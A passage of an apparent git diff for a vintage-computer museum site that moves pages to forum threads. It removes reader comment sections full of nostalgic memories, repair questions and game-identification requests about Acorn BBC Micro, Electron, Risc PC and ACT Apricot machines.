- I vaguely remember this rpg style game where one of the levels you came across dragons of all colours. You had a puzzle to solve but I cant remember what it was. I think it was feeding them? - - Does this make sense and does anyone know the game i'm remembering? - - author: Will Bowman (UK) - date: Thursday 28th December 2006 - text: There is a BBC Model B working still in the local primary school. As far as I can tell, it'll stay there til it breaks down, which hopefully won't be any time soon... - - author: Paul D (UK) - date: Wednesday 30th August 2006 - text: The BBC B was the first computer i bought and i drooled over the specification even before they were in production. I think i pre-ordered mine, but i can't be sure. It probably helped start my software developing career, at the time i was a graduate trainee engineer and was learning the job of writing assember code. There were some good game for it, including the then addictive space trading classic, Elite. - - author: Paul (England) - date: Sunday 9th July 2006 - text: I have just got a BBC model B computer, when I powered it up there are no beeps from the machine and no out put to the TV i have checked the fuse and that is ok, Has any one else had any problems with this and could point me in the right direction. Thanks Paul - - author: John Stocking (Norfolk UK) - date: Tuesday 30th May 2006 - text: |- - I am looking for a 'Bitstick' ROM for a BBC Micro if anyone has one they wish to dispose of please email price etc and I will get back to you\ - thanks\ - John - - author: Jon (UK) - date: Monday 22nd May 2006 - text: |- - Hi - - I bought an Acorn computer recently... I don't know a great deal about them, but when I started it up, all I get on the monitor is flashing dashes running across the screen - is it completely broken or is there a way of sorting this problem out? - - Thanks! - - Jon - - author: Abdullah S. Eyles (Adana, Turkey (was in UK then!)) - date: Thursday 23rd March 2006 - text: |- - We had a BBC B in 1986! I wrote some programs for my Father to use in his work with BBC Basic. - - One time the printer (Epson FX80) was printing strange characters. A quick look at the circuit diagram revealed a possibly faulty IC which I dilligently removed. A quick search of my electronic cupboard for a replacement, within one hour up and running again! :) - - Try that with a Pentium IV or whatever junk we are using today!! - - author: joe hardisty (stalybridge) - date: Tuesday 10th January 2006 - text: WOW the bbc micro computer is a fantastic computer i remember getting one arround 1995 i was about 7. i have just got into them again and i was wondering if there is anyone out there who knows of any basic programing language on the internet? (i suppose there wont be anyone because i char wrong and you had to start all over! lol) what a fantastic machene they were i have built many windows computers and they are really not a patch on the bbc! i know you must think i am mad but really when you put it into perspective think of the money you have to pay for ram, graphics cards, harddrives, the bbc took all these things (exept the harddrive) and put together a machine that you could play games on that would keep me happy four hours, word proccessing program and listening to the old epson printer fire all its little pins at the paper as in those days they were the "range". the bbc micro computer was an in-expensive, and efficient way to compute and did everything to the best of its - abbility! well put it this way they are still going now 25years on and most havent missed a beat! (please feel free to add me on msn or e-mail me at anthonyh055@hotmail.com) - - author: TOM (UK) - date: Thursday 15th September 2005 - text: |- - Wow, i can't believe someone could help, thanks, i think that is the game i was describing. I'll have to give it a try and see. I don't remember it being monochrome, but memory does things like that to you, doesn't it? i'd got it into my head that it was called alchemist, but that's an entirely different game. - - http://www.vgmuseum.com/images/spectrum/03/alchemist.html - - there are a few other games i'm trying to find. it'd make me happy if anyone knows what these are- - - \* an adventure a bit like granny's garden (on the BBC, i played it at school), but which featured a top down view bit where you had to move your person (car?) around in real time picking up little flashing things, i think, before a time limit ran out (i think). a bit vague, i know, but i'd like to see it again. - - \*a text adventure, also on the bbc, where (i think) you and your apprentice (you may have been sherlock holmes, or something like that) had to explore a transylvanian castle, possibly looking for a vampire. i remember a front passage being described as musty when you typed "LOOK". - - \* a commodore 64 game where you walked around with a view similar to zelda 1, planting and harvesting mushrooms, building fences, then calling for a rocket ship to pick all of your harvest up. it always seemed to crash (the ship, i mean). you could press some sort of thingy to make a gun shoot as well. - - thanks again, THarte (UK), and thanks to anyone who can help with these.\ - tom. - - author: THarte (UK) - date: Tuesday 9th August 2005 - text: |- - Note to TOM (UK) - the game you're describing sounds like Spellbinder by Superior Software. It was monochrome and set entirely in a castle - a screenshot can be seen here: http://www.stairwaytohell.com/electron/scr/Spellbinder-elk.gif\ - . Stairway To Hell is also an excellent site for game downloads. - - author: Gustavo Fernandes (Brazil) - date: Sunday 15th May 2005 - text: |- - My ACORN BBC B+ board is faulty. Is there any dealer for old ACORN boards ? ( I have already tried CJE).\ - Is there any compatible board to which I can move the BBC´s EPROMs ? - - author: TOM (UK) - date: Wednesday 27th April 2005 - text: WE used them in school too, remember granny's garden? i'm trying to find the name of a game i remember playing once on the electron. i believe it was side view, and you could walk up, down left or right a bit like maniac mansion, except that you had direct control over the character. you started with water to your right, i think, and you couldn't swim. i think there was something about being able to mix potions or something. there was someone when you got so far through it who threw some sort of homing thingy that seemed to kill you every time. games back then were hard! anyone know what it was called? thanks if you can help!! - - author: Philip Trott (Kent) - date: Thursday 14th April 2005 - text: I still have a BBC B computer and loads of software for it and it still works today I think that says something about the quality of the machine - - author: Thibaut (Belgium) - date: Monday 14th March 2005 - text: 'This was a stunning wachine. My father, my brother and I bought it in Belgium in 1982. We paid 120.000 BEF (3.000?) for a set comprising : - BBC Model B (40.000 BEF) - 1 double sided disk drive unit (we wanted 2 1 side units, but the seller claimed there were no more, so he gave out the double sided unit. I was mad at him) (30.000 BEF) - 1 EPSON RX 80 matric printer (25.000 BEF) - 1 Sony color TV, used as a monitor (25.000 BEF). Can you imagine that we paid at that time the price of a modern computer for a 5 1/4 disk unit ? In addition to the numerous softwares we exchanged at school, we added a word processing ROM and a utilities ROM called Disc Doctor. I did a lot of things with this computer : programs that applied theories of my maths courses (functions study, matrixes, ...), accountancy, word processing, ... We could even print graphs on a 80 column matrix printer with a utility called "DUMP", that copied pixel by pixel the status of the screen...' - - author: Alastair Montgomery (North Yorkshire) - date: Thursday 13rd January 2005 - text: |- - The BBC B, was the third computer I used, I started of with a ZX81, then got an Acorn Electron, finally got a second hand BBC B. Best games IMO were Elite, Revs and Chuckie Egg. - - Did a lot of programming on the BBC, Pascal, Basic and assembler. - - Wish today's computers would boot up as fast as my old BBC. - - author: Clare (Wales UK) - date: Thursday 30th December 2004 - text: |- - Hi, I was wondering if anyone could help me with an Archemedis A5000 problem, if not, do you know where I can get help?\ - I recently got hold of one of these machines, plugged it into my PC monitor and it all worked fine. When I was playing with the resolution settings, I set it to something the PC monitor cannot handle. Now I cannot get it back. Anyone know how to do this? - - Please Help,\ - Clare. - - author: Jonathan Bluestone (London, England / Oklahoma City, OK, USA) - date: Wednesday 29th December 2004 - text: I'm in \*love\* with the BBC Microcomputer, and more so with the Master 128 which I brought when they first came out from Watford Electronics ... quite a drive from Hayes, Middlesex, just to buy the new machine. And the reason I purchased it was to play Elite with sixteen colors no less! I'm a massive classic Elite fan (and to a lesser extent, Frontier and First Encounters) and I'm always interested in talking to anyone who has any old Beeb bits, machines they don't want ... or who just want to talk Beeb. I use and can highly recommend a BBC emulator which emulates the Electron, Model B, B+, 65C02, and even the Master 128 to a high degree of accuracy called pcBBC (which runs under MS-DOS, Windows 98se at least) - sadly no longer produced or supported, so if you want to know more about this product, feel free to contact me with the subject PCBBC or BBC in the subject line or I'll ignore messages as spam. - - author: Rob D (Solihull, UK) - date: Sunday 5th December 2004 - text: |- - Morning all,\ - I wonder if anyone can help: There was a BBC B game when my fiancee and I were at school, and we're trying to remember the name of it. - - It was set on a desert island. You survived by eating tapioca, and sometimes you got a fever/ malaria (we can't recall exactly). It may have been educational (they allowed us to play it at school!). Can anyone remember what it's called?\ - Cheers - - author: Pugwash (UK) - date: Tuesday 17th August 2004 - text: |- - My older borther bought the Model A in it's year of release. It was later upgraded to almost "B" spec by him before leaving it for me to use. I added 128MB of internal sideways ram, speech chip, 100kb floppy drive and colour monitor. I learnt programming on the machine and subsequently did a degree and worked for 10 years in programming.\ - Most programmers I know had a BBC rather than a Spectrum. - - author: Nigel (New Zealand) - date: Tuesday 27th April 2004 - text: There used to be an upgrade kit to convert an 'A' to a 'B' - I think that apart from RAM, this also included the addition of a cassette tape interface. - - author: james rymer (epsom england) - date: Friday 5th March 2004 - text: |- - hello\ - i remember when i was at school we used to have\ - BBC a,b i soon learnt BASIC ,they were good days then we also had a computer club\ - i still remember if a any one does the strange things you could do with \*fx and \*tv function\ - i think i can\`t remember but one \*fx function you could lock up the whole keyboard and pressing BREAK did\`nt restore things you had to switch the machine off and let it reboot\ - also i think at the time (1984) there was a voice systheseizer chip that went in side the machine\ - so you could use a program and make human sounding words also there was the AMX mouse\ - i never had a BBC at home (too expensive)\ - i had an electron so i suffered with no mode 7 - - author: Kostya Bezgin (Kiev, Ukraine) - date: Tuesday 3rd February 2004 - text: |- - Hi!\ - I am from Kiev, Ukraine\ - I have still working BBC B\ - Now working on project called BeebUX - BBC B 8bit multitasking Linux liko os base on Commodore system LUnix and TCP/IP stak Contiki\ - Now a wor adding PC D-Dlink extrnbal Ethernet card Paraport-2 to UserPort and buld 8bit PC ISA bus for drive IDE HDD, CD and 1.44 FLoppy\ - MY ICQ: 11884009\ - Phones\ - celleular +(38-039) 247-1048\ - home +(38-044) 565-2500 , +(38-039) 565-2550\ - work phone +(38-039) 572-5701\ - work phone/fax +(38-039) 572-3963 - - author: Dave Gamble (UK) - date: Sunday 6th April 2003 - text: |- - I remember the launch of the BBC Micro model A and B. I first read about them in the U.K. computer press and as a 13 year old at that particular time, drooled over the spec of the model B machine. I then saw them used on the BBC TV program called "The Computer Program" host by Chris Searle. I wanted a BBC micro! But, they were £299 and £399 respectively for the Model A and B. I eventually "made do" with a Commodore 64.\ - It is great testiment to the design of these machines, that they are still in use at my son's local primary school, albeit the "Master" version. AMAZING! - - author: Blackjack (Brighton UK) - date: Wednesday 26th March 2003 - text: |- - I always wanted a BBC B but I was at school then and simply couldn't afford the cost, about £400. Instead I looked at the Electron instead, but they still cost £200! I simply couldn't afford that. Then the price came down to £130 and due to a legacy I could finally shell out the cash. I also bought the expansion units. However I was disappointed. The machine was slow due to the lack of onboard hardware the games were very inferior compared to the BBC Micro version! - - But I always wanted a BBC B! Later when I left school I had finally afford what I wanted - but it had been replaced with the BBC Master! I thought about the Compact but I thought, "no way, it'll just be another Electron!", and I was right. Ah, but the Master 128 was brilliant, just what I had always wanted and should have bought in the first place! A rtruly great machine, I loved it, programmed it, played games on it! - - Later Acorn brought out the Archimedes range. I remember thinking "nice machine, but theres no sofware for it!" And the price! Poor old Acorn never had much of a head for marketing and making a machine that refused to run any "proper" software i.e games etc for the old machine really killed it's own market and the new machine never really took off. Downward compatibility was something that Microsoft/Intel knew all too well. Ah well. - - author: nog (Brighton UK) - date: Thursday 6th March 2003 - text: I remember when my father brought a BBC B back in the 80's, I think he payed about £400 for it, He then nicked a twin 3.5inch disc drive from work, and we re-wired it so it would function. I was hooked. I learned to program it from a very young age and was addicted to games like Elite, Repton. Codename Droid, Frak, etc.Its still up in the loft, in a box. :) - - author: jay (uk) - date: Thursday 6th February 2003 - text: |- - the was a flood at my school and most the bbc's\ - were dameged so i rescude 2 bbc pc\ - they have no disck-drive and i have saved a\ - acorn A5000 but has any one got a disck drive\ - i wold like to buy it form any one - - author: Roosta (UK) - date: Saturday 1st February 2003 - text: |- - Ahh, the ol' Beeb.\ - apart from the criminally small amount of initial memory and limited palette, this was a truly great computer.\ - Not only did it originate some of the greatest games ever (the wireframe masterpiece with 2nd processor support 'Elite' , Citadel, Chuckie-egg, and Exile) it was built to survive .. err a nuclear bomb or something, had proper keys, MASSIVE upgrade potential, the best version of Basic in ROM (BBC basic), and can still occasionally be seen in the corner of laboratories, dust covered but quietly running some piece of essential homemade software that simply doesn't need to be ported to some unreliable 2ghz behemoth PC. - - In Short, it was a REAL computer in an age of flimsy games computers. - - Having made the Beeb and languishing for a few years, Acorn went on to produce what I believe is the greatest microcomputer to date - the Acorn Archimedes. But that's another matter ...\ - RIP Acorn, May Microsoft burn in hell along with Acorn's marketing people ;-) - - author: Richard Palmer (UK) - date: Thursday 1st August 2002 - text: |- - The BBC model Bwas my first computer. I can recall my father's face when he parted with £399 UKP in 1983 for a box including many add ons. The computer was excelllent despite it's price and I still came across models 10 years later in the labs at university. - - The BBC used to shamelessly plug their computer. When 'Elite' was released in 1984 it featured as a main news item on the 6pm BBC UK national news. Mind you it was a classic game.\ - BBC BASIC was an excellent programming tool and because of the wide use of the systems across UK schools it was taught in the classroom - - author: David Noke (Australia) - date: Monday 20th May 2002 - text: I particularly liked the innovative "copy" key. Very handy when tpye out those lines of Logo! - - author: Nevermind (Norway) - date: Sunday 28th April 2002 - text: |- - I think perhaps one of the best BBC games was "Scramble" - am I right ? I miss the screenshot in the "Software Info". - - I used to test the different home computers at the time for speed by running the simple for n=1 to 1000, print n, next n - and Dragon 32 (forth-based) was the quickest until I tested the BBC...it rocked :-) - - author: Nelson Bowker (UK) - date: Wednesday 3rd April 2002 - text: |- - A hard disc drive was available via the 1 Mhz bus port, from which which hardware card with a rom talked to the old sasi disc drive interface, released at about the same time as the second processors arrived at £500\ - I have one - bought second hand! A whole 10 MB in my cse - which was a lot of programs then!!!! related: - /museum/acorn-computer-atom - /museum/acorn-computer-bbc-master diff --git a/content/museum/acorn-computer-electron.md b/content/museum/acorn-computer-electron.md index 4c84f4bb..d3c513d8 100644 --- a/content/museum/acorn-computer-electron.md +++ b/content/museum/acorn-computer-electron.md @@ -70,6 +70,7 @@ params: - emulators - links - docs + forum_thread: 134 photos: - title: THE BOX subtitle: '' @@ -417,73 +418,6 @@ params:  compiled/archived by Gordon Dyer\  type of document : ZIP\  source : www.old-computers.com - comments: - - author: Julie Moualhi (Thetford Norfolk UK) - date: Sunday 12th April 2015 - text: I have a acorn electron computer in my spare room in a box with games etc was wondering if it''s worth anything I have had the computer for the past 30+ years - - author: Mikael (Sweden) - date: Sunday 13rd April 2014 - text: I only now got some Electron Emulators, but in old days did I have an Texas Instrument TI994A. And a Lambda 8300, then a Commodore 64. But I sold them after a while, I am very interested in programming Basic. - - author: Anne Bokma (The Netherlands) - date: Saturday 24th August 2013 - text: http://www.theregister.co.uk/2013/08/23/acorn_electron_history_at_30/ - - author: Marc (The Netherlands) - date: Wednesday 15th May 2013 - text: I loved this machine. I bought one in 1985 when it got dumped on the market. It costed me fl 100,$ (appr. 45 euro). Bought some games too (Androids!). Later on I bought the Plus 1 and a double-density 5,25" drive! A new world opened up to me. With the RAM extension, you could load programs into the upper memory, like Pascal. And program the RAM with your on boot loaders. I have programmed a lot (VDU codes!). I frequently bought the Electron User magazine, and type the code from the magazine. When I moved to my current house in 2005 I gave the Electron away to a friend. - - author: Rob (Australia)Moved to Aus in ''95 (Australia) - date: Friday 18th January 2013 - text: |- - I loved the Acorn Electron. It was my first PC in approx. 1987. A BBC compatible so cheap BBC games from the poxy games shop in Southend,..most worked. I used to start loading the game and then have dinner while waiting!!.. It was pretty great at the time, before games consoles $ game boy.\ - Even wrote some games out of the manual.\ - It was about that time that Commodore64s came along which ROCKED! Thanks Barry Taylor for the C64!\ - It was 20 pounds well spent! - - author: David (Canada) moved from uk in 2007 (Canada) - date: Monday 10th September 2012 - text: |- - I was 14 years old when the Electron appeared and i begged my dad for one i belive they cost 299 even in 1983 that was a lot of money.\ - I used to buy the magazines and type in programs, i bought many games for it one of my memories is of a game called Citadel , one thing i do remember is borowwing games off BBC owning freinds and finding\ - the Electron couldnt run some, think it was a graphics issue\ - I have very fond memorys of that machine i held on to it until 2007 when i moved to canada, i gave it to a freind and it was still working.\ - I also remember the powersupply issues i was on my second when i gave it away. - - author: Simon Lyne (United Kingdom) - date: Tuesday 3rd May 2011 - text: I got hold of an electron a while back (restored it, seen on my website). I have a real soft spot for the electron. It was underpowered but still a very caperble machine. A good programmer could do magic with this machine and its a shame that the ULA took so long to develop. - - author: kev smith (northampton UK) - date: Friday 25th June 2010 - text: |- - i loved my lil electron, i still have it up in loft at mums and used it about a year ago, since then im using an emulator to relive old days of the classic games. - - i find it amazing that even now - acorn technology is still in use - i only just found out that most mobiles use what is essentially an acorn chip - - - brilliant computer - right gear - just a little bit too late - - i did get a spectrum eventually and i hated it - if i could get hold of a BEEB id use that too - - author: A. Trent Phillips (United States) - date: Monday 12th April 2010 - text: Many older PC video cards like my Hauppage Brand card can be set to NTSC, PAL and SECAM analog standards as well as being switchable to the appropriate Channel / Frequency table. Having a monitor with a refresh rate of at least 50 Hz will also be a BIG help. If it hooked into a common TV set (UK or USA), you SHOULD be able to hook it to a decent, if not older, video card. - - author: Jezza (UK) - date: Saturday 6th September 2008 - text: I loved my little Electron. I learned to program on it, played loads of games Elite!!, Repton, too many to mention. It was a great little computer with a really nice keyboard, much easier to use than the Spectrum rubber keys. I sometimes think about buying another one now but maybe the memories are best left alone. (Power sockets and bricks were a problem though.) - - author: Nigel (Australia) - date: Thursday 13rd April 2006 - text: Two common problems with the power supply on these machines; the PSU itself tended to run hot and die, and the PCB mounted power supply socket used to disconnect from the solder connections and/or print on the PCB, as there was no strain relief. - - author: naes (Hull, England) - date: Wednesday 29th June 2005 - text: I was wondering whether it was possible to rig up an Electron to a TV card. Does anyone know what frequency range of the TV output port. - - author: Tom Brennand (London UK) - date: Wednesday 3rd November 2004 - text: |- - Hi. - - I have 2 Acorn electrons but neither of them are working. In my opinion the little gems are too good to go to scrap so I was wondering if anyone would be able to help with the repairing of these. - - Basically they both seem to have the same problem apart from a slight difference. When I turn them on, one has a totally white screen, and the other a totally yellow screen. There is no BEEP like you normally get. - - Any ideas??? please email me with any feedback. Thanks - - Tom - - mail@tombrennand.net related: - /museum/acorn-computer-atom - /museum/acorn-computer-bbc-master diff --git a/content/museum/acorn-computer-risc-pc.md b/content/museum/acorn-computer-risc-pc.md index 054919a2..201e7231 100644 --- a/content/museum/acorn-computer-risc-pc.md +++ b/content/museum/acorn-computer-risc-pc.md @@ -62,6 +62,7 @@ params: - photos - adverts - hardware + forum_thread: 989 photos: - title: LARGE VIEW subtitle: '' @@ -132,41 +133,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/acorn_riscpc_486card_s1.jpg - comments: - - author: Douglas Piper - date: Sunday 29th May 2016 - text: Hi. I use a riscpc600. The canon bjc 2100. Has just died any advice on what I should replace it with. Presumably I can pick something up on ebay - - author: CLASSIFIED - date: Friday 20th August 2010 - text: i want one - - author: Andrew (Glasgow (UK)) - date: Sunday 27th June 2010 - text: |- - To add my two pence worth and expand on the main article. After the Risc PC 700 released in July 1995 with a 40 Mhz Arm 7 CPU, there was a "Strongarm" Risc PC released in September 1996 with either a 202 or 233 Mhz Digital Strongarm CPU and RISC OS 3.70. Strongarm CPU cards can be fitted in any Risc PC. - - There are also the 233 and 300 Mhz Strongarm-based Kinetic upgrades by Castle Technology which have their own onboard memory augmenting the RAM installd on the motherboard. This goes some way towards reducing the impact of the slow front-side bus. - - Acorn may have long since gone, but the RISC PC appears to be a hardy little beast (or big depending on the number of case slices you have) RISC OS has been developed beyond 3.7, there is now 4.x in ROM which can be softloaded with version 6.20 which is available from Risc OS LTD. - - I have just succeded in getting my RPC on the internet! Of all the retro/old systems I have from its era, the RPC is perhaps the most expandable, and certainly the most versatile. - - Unlike a few years ago there are a few emulators (free and commercial) around for both classic Risc OS and 4.x - current. - - author: David (Surabaya Indonesia) - date: Wednesday 8th October 2008 - text: Think about No Emulator? Horewer... - - author: Tim (UK) - date: Tuesday 20th June 2006 - text: The notes say "two PS/2" ports. In fact the keyboard was PS/2 but the mouse was a "bus mouse" system in order to keep compatability with the earlier Acorn machines. A Logitech bus-mouse came with the machine. - - author: Chris (UK) - date: Monday 24th May 2004 - text: |- - The first batch of RiscPC 600s did not have 16-bit sound. They required an inexpensive hardware upgrade to support 16-bit sound, and in some cases required a new motherboard because the header (LK14 IIRC) was not present to allow the upgrade. - - In addition, this was not the first Acorn to have a PC card. There are podule cards for the older Acorns, but they were very slow due to the speed of the bus. They also couldn't share memory like the RiscPC one can, so in effect you had to pay for your memory twice. - - The Windows video drivers for the RiscPC even used the ARM to help with rendering the screen. How cool is that? - - It's a huge shame to see the RiscPC turn into a piece of history. Last I checked, there are quite a few going on Ebay. Get yourself a piece of history while you still can! oc_id: 1015 source: url: https://web.archive.org/web/20230609185904/http://www.old-computers.com/museum/computer.asp?c=1015 diff --git a/content/museum/acorn-computer-system-1.md b/content/museum/acorn-computer-system-1.md index 3be7528a..25e41063 100644 --- a/content/museum/acorn-computer-system-1.md +++ b/content/museum/acorn-computer-system-1.md @@ -61,6 +61,7 @@ params: - adverts - emulators - links + forum_thread: 477 photos: - title: THE WHOLE SYSTEM subtitle: '' @@ -92,10 +93,6 @@ params: - title: The Acorn Microcomputer (1979) page url: http://www.cary.demon.co.uk/acorn/ text: Nice dedicated page with info and emulator! - comments: - - author: Achim (USA and Germany) - date: Sunday 11th December 2022 - text: Hello, please contact me if you have Acorn System 1 (or even System 75, 2, 3, 4 or 5) for sale.I have an address in the US and in Germany. oc_id: 483 source: url: https://web.archive.org/web/20230210082452/http://www.old-computers.com/museum/computer.asp?c=483 diff --git a/content/museum/act-800.md b/content/museum/act-800.md index e126d883..4c89a186 100644 --- a/content/museum/act-800.md +++ b/content/museum/act-800.md @@ -60,29 +60,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: Bill Appleton - date: Monday 7th August 2017 - text: |- - Hi I run a web site for ACT and Victor computers. If anyone has any images and details of this computer so I may do a page on the site.\ - Check out www.actactsirius1.co.uk.\ - Please make contact through the act sirius site thanks you\ - Thanks in advance - - author: Eamonn - date: Friday 9th June 2017 - text: |- - Some info marked on the back.\ - Model MMII, S/N 600559. 220V. Amps 3/4 4/81(this might be the date).\ - 965 W Maude Ave Sunnyvale Ca 94086 Made in U.S.A. - - author: Eamonn (Ireland) - date: Friday 9th June 2017 - text: I have some photos of the ACT 800. - - author: Tom Turnbull (United kingdom) - date: Saturday 28th April 2012 - text: The ACT 800 was manufactured by a company call Computhink who also made the disk drive it was called the minimax in America - - author: Tom Turnbull (World) - date: Wednesday 25th April 2012 - text: I was given one of these to use when I worked for Petsoft around 1981 it came with twin 5-1/2 inch floppies that cost around £1000 the disk filing system was terrible you could not have read and write access on the same file. I was asked to convert PET games to it but the screen was not bit mapped like the PET to write to the screen you had to poke the X Y co-ordinates into 2 memory locations with the poke value of what you wanted on the screen in a third memory location. I gave up converting games on it. It was not a nice machine. + forum_thread: 1060 oc_id: 1090 source: url: https://web.archive.org/web/20230416215943/http://www.old-computers.com/museum/computer.asp?c=1090 diff --git a/content/museum/act-apricot-f1.md b/content/museum/act-apricot-f1.md index 19de95be..aca6273b 100644 --- a/content/museum/act-apricot-f1.md +++ b/content/museum/act-apricot-f1.md @@ -73,6 +73,7 @@ params: - emulators - links - docs + forum_thread: 489 photos: - title: 'MONOCHROME VERSION #1' subtitle: '' @@ -214,89 +215,6 @@ params:  compiled/archived by Jonathan Marsters\  type of document : PDF\  source : [www.actapricot.org](http://www.actapricot.org) - comments: - - author: Triphazard (UK) - date: Thursday 1st January 2009 - text: |- - Whoa... Are there really so few owners/fans of this great machine? My own has a single 3.5" slot, no HD, 9" green screen and I broke the fibre optic cable for the IR keyboard. I couldn''t afford the IR trackball while it was available but I added 512K to the default 256K on board. - - I also managed to get copies of SuperCalc 3, DBase II and Friday!, a database program created using DBII. I still giggle at the MS Windows 1.0 vouchers it came with. (This machine recalculated the most basic spreadsheet with figures scrolling along for several seconds, like those cliche ''80s movies.) - - However, at the time it was about a year ahead of IBM''s PCs. They still had 5.25" floppies, 64K RAM, 8088 chips and locked-in servicing. - - I can $ a single disk to launch MSDOS 2.0, SCalc/SWriter and all the data I have. It will all run from a RAM disk and batch save my data back to disk before shutting down. - - Computers today don''t seem to do anything any faster than before. Graphics look great but we still sit and wonder what to do next... - - author: Boomtown 45 (United States) - date: Friday 7th June 2019 - text: I acquired an Apricot F1 system$monitor, computer, trackball, and infrared keyboard$today at an estate here in New Mexico. Monitor''s startup screenshot shows a system date of "18/07/1985". Does anyone know if there''s someone here in the US who''s interested in a vintage system from the UK? I''m thinking it would be cost prohibitive to ship it to England. - - author: Robin England (UK) - date: Sunday 14th October 2018 - text: Hi Matt, I am an enthusiastic collector of the Apricot F-series machines and would be interested in any Apricot stuff you have. I don''t run a computer museum but I collect and restore vintage machines. Let me know if you want to discuss further. Cheers, Robin - - author: Matter - date: Thursday 9th August 2018 - text: |- - My old man helped develop apricot computers, from the 80’s until there demise. I have inherited multiple examples of most the computers they made including, hardware, software, literature, and many one of prototypes that he developed, etc\ - They need a good home, that respects and understands them\ - Thanks Matt - - author: Matt (Birmingham) - date: Thursday 9th August 2018 - text: Apricot computers available for real enthusiast - - author: Doekman (Groningen, The Netherlands) - date: Wednesday 2nd May 2018 - text: My neighbour had one of these. I remembered it had a great design, and the graphics where impressive. She got this computer via some home computer programme of her employer, Johnson Controls. That explains I never saw the computer elsewhere. - - author: Dan - date: Tuesday 21st November 2017 - text: I took one of these F1 computers to Yemen, and wrote a multi-currency book-keeping program in Turbo Pascal. It was a great computer, complete with four colours! My kids enjoyed simple games as well. I am not sure what happened to the computer. I am sure it is gone, now that the war had destroyed most things. - - author: Nosher (Bradford, UK) - date: Saturday 22nd July 2017 - text: I used the Apricot F1 in an educational environment. Use of the machine could survive loss or breakage of the IR pipe but it was possible to pick up your keyboard and reboot your neighbour''s machine. Other machines did not have this issue. Use of the Apricots came to an abrupt end when $ing a 3M diskette instantly decapitated the drive head rendering the machine useless. Other machines did not have this fatal flaw. There didn''t appear to be much different about 3M diskettes but the metal shutter contacted the lightly suspended disk head and ripped it out of position. - - author: Jimbob (Scotland) - date: Thursday 6th October 2016 - text: |- - I remember my Dad giving me a side by side demonstration of an F1 beside an IBM of the same vintage.\ - The F1 wiped the floor with the IBM in loading or copying from floppy discs and the wireless keyboard was a revelation to a young kid.\ - Wonder how much further forward we''d be if innovative companies like Apricot had survived rather than Apple or IBM. - - author: Chris (NJ) - date: Monday 7th September 2015 - text: I have a line on one of these systems in the UK, but being I''m in the US, I''d like to acquire one here if at all possible, reasons are clear. Please contact me if you have one - dreyfusshudson at yahoo dot com. Many thanks. - - author: Dylan Smith (United Kingdom) - date: Tuesday 21st October 2014 - text: We had one at our school. It was very nicely made and came with a small but good quality colour screen, and a pretty innovative design. I remember rigging up a serial cable and bodging together some code to transfer images from a friend''s Amiga 500 to the Apricot. However, it was hugely let down by being one of those "yes it runs MS-DOS but no it''s not IBM compatible" machines which made it more or less pointless. MS-DOS even back in the day was awful and the only reason for running it would be IBM compatibility - - author: John Moore (New Zealand) - date: Wednesday 1st January 2014 - text: I purchased an F1e back in 1985 for NZ$2700 ! By today''s standards that''d get you something really flash. This had just one 315k disk drive (not 320k like the rest of the world). I could never figure out for the life of me why ACT did not make all their computers IBM compatible. They would have possibly been still in business, as (as as been pointed out) their computers were quite innovative, especially since they were one of the first to use 3.5in floppie disks. I can also remember buying my first lot of "single sided" disks .. NZ$80 for10! I still have the original activity disks that came with the computer. I did find the keyboard a bit strange as the key tops kept on wearing out, so I stuck laminated characters over the top of each key! Other than that the computer worked fine with 256k of RAM. The fact it also came with it''s own version of GWBASIC made it interesting, along with Super Writer, Super Calc and Super Planner. It also came with a communications programme to - connect to an IBM compatible machine (with limited success). My son and I wrote literally hundreds of programmes in BASIC. A few I eventually (using the comms package) converted to Turbo Basic and a .exe file. Apart from the Bios problems I loved it. See also Apricot PC. - - author: John Moore (New Zealand) - date: Wednesday 1st January 2014 - text: I purchased an F1e back in 1985 for NZ$2700 ! By today''s standards that''d get you something really flash. This had just one 315k disk drive (not 320k like the rest of the world). I could never figure out for the life of me why ACT did not make all their computers IBM compatible. They would have possibly been still in business, as (as as been pointed out) their computers were quite innovative, especially since they were one of the first to use 3.5in floppie disks. I can also remember buying my first lot of "single sided" disks .. NZ$80 for10! I still have the original activity disks that came with the computer. I did find the keyboard a bit strange as the key tops kept on wearing out, so I stuck laminated characters over the top of each key! Other than that the computer worked fine with 256k of RAM. The fact it also came with it''s own version of GWBASIC made it interesting, along with Super Writer, Super Calc and Super Planner. It also came with a communications programme to - connect to an IBM compatible machine (with limited success). My son and I wrote literally hundreds of programmes in BASIC. A few I eventually (using the comms package) converted to Turbo Basic and a .exe file. Apart from the Bios problems I loved it. See also Apricot PC. - - author: Chris (USA) - date: Tuesday 19th February 2013 - text: I want one. - - author: RC Ellis (USA) - date: Saturday 25th February 2012 - text: |- - I had the F1 - as a DOS compatible it was fine. The machine I bought came with an early version of Microsoft Word for DOS - which worked well. - - I managed to find a connector on the motherboard which allowed me to add a second 720 3.5" floppy - had to put it in a separate box, but it worked. - - The monitor finally failed and I was able to connect a Radio Shack CGA monitor. - - I was also able to run Turbo Pascal 3.0 on it. And as a CS teacher that was wonderful.\ - It was very stylish overall, and I got good use out of it for several years. - - author: Andrew Fison (usa) - date: Friday 8th April 2011 - text: I remember doing my college accounts courses on these, our computer room had about 20 of these in there, also one advantage of the infra-red keyboards was you could pull the batteries out of the one in front of the screen and stand behind your mate typing on another keyboard while he wonders where all the strange calcs came from - - author: Ian Chard (Oxford, UK) - date: Wednesday 23rd August 2006 - text: I spend a depressing few weeks writing a small database on one of these things in the late 80s. It was a monochrome monitor, and the phosphor lag time was \*huge\* -- you could still read text several seconds after clearing the screen! - - author: Newtony (Belgium) - date: Tuesday 12th February 2002 - text: |- - Hi everyone, - - I began collecting old computers about three years ago, mostly IBM-compatibles. I also have five Apricot F1 computers. They were in pretty bad shape but I should be able to get at least one in complete working order. However I don't have any software for them and I can't get them to work with regular MS or PC-Dos, probably because the BIOS is not 100% IBM-compatible. Is there anyone here who can get me working copies of the F1 software such as Activity ? I really want these machines to work, so any help is greatly appreciated. Thanks in advance. related: - /museum/act-apricot-f2-f10 - /museum/act-apricot-pc diff --git a/content/museum/act-apricot-f2-f10.md b/content/museum/act-apricot-f2-f10.md index 1fa20479..88c7fa13 100644 --- a/content/museum/act-apricot-f2-f10.md +++ b/content/museum/act-apricot-f2-f10.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 487 photos: - title: APRICOT F2 subtitle: '' @@ -119,27 +120,6 @@ params:  compiled/archived by Jonathan Marsters\  type of document : PDF\  source : [www.actapricot.org](http://www.actapricot.org) - comments: - - author: Chris 